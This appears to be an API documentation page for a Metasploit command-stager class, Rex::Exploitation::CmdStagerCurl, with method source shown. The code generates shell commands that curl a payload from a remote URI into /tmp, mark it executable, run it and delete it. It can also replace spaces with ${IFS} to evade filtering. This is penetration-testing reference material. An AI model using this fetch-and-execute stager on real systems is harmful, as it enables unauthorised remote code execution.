Class: Rex::Exploitation::CmdStagerCurl
Instance Method Summary
collapse
#encode_payload, #generate_cmds, #initialize, #parts_to_commands, #setup, #slice_up_payload, #teardown
Instance Method Details
#cmd_concat_operator ⇒ Object
56
57
58
|
# File 'lib/rex/exploitation/cmdstager/curl.rb', line 56
def cmd_concat_operator
';'
end
|
#compress_commands(cmds, opts) ⇒ Object
51
52
53
54
|
# File 'lib/rex/exploitation/cmdstager/curl.rb', line 51
def compress_commands(cmds, opts)
cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
super
end
|
#generate(opts = {}) ⇒ Object
13
14
15
16
17
18
19
20
21
22
23
24
|
# File 'lib/rex/exploitation/cmdstager/curl.rb', line 13
def generate(opts = {})
if opts[:payload_uri].nil?
raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
end
opts[:temp] ||= '/tmp'
opts[:file] ||= Rex::Text.rand_text_alpha(8)
opts[:silent] = true if opts[:silent].nil?
@payload_path = "#{opts[:temp]}/#{opts[:file]}"
super
end
|
#generate_cmds_decoder(opts) ⇒ Object
41
42
43
44
45
46
47
48
49
|
# File 'lib/rex/exploitation/cmdstager/curl.rb', line 41
def generate_cmds_decoder(opts)
cmds = []
cmds << "chmod +x #{@payload_path}"
cmds << @payload_path
cmds << "rm -f #{@payload_path}" unless opts[:nodelete]
cmds
end
|
#generate_cmds_payload(opts) ⇒ Object
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
# File 'lib/rex/exploitation/cmdstager/curl.rb', line 26
def generate_cmds_payload(opts)
cmds = []
uri = opts[:payload_uri]
silent_flag = opts[:silent] ? 's' : ''
if opts[:ssl]
cmds << "curl -#{silent_flag}ko #{@payload_path} #{uri}"
else
uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
cmds << "curl -#{silent_flag}o #{@payload_path} #{uri}"
end
cmds
end
|
#http? ⇒ Boolean
5
6
7
|
# File 'lib/rex/exploitation/cmdstager/curl.rb', line 5
def http?
true
end
|
#user_agent ⇒ Object
9
10
11
|
# File 'lib/rex/exploitation/cmdstager/curl.rb', line 9
def user_agent
/^curl/
end
|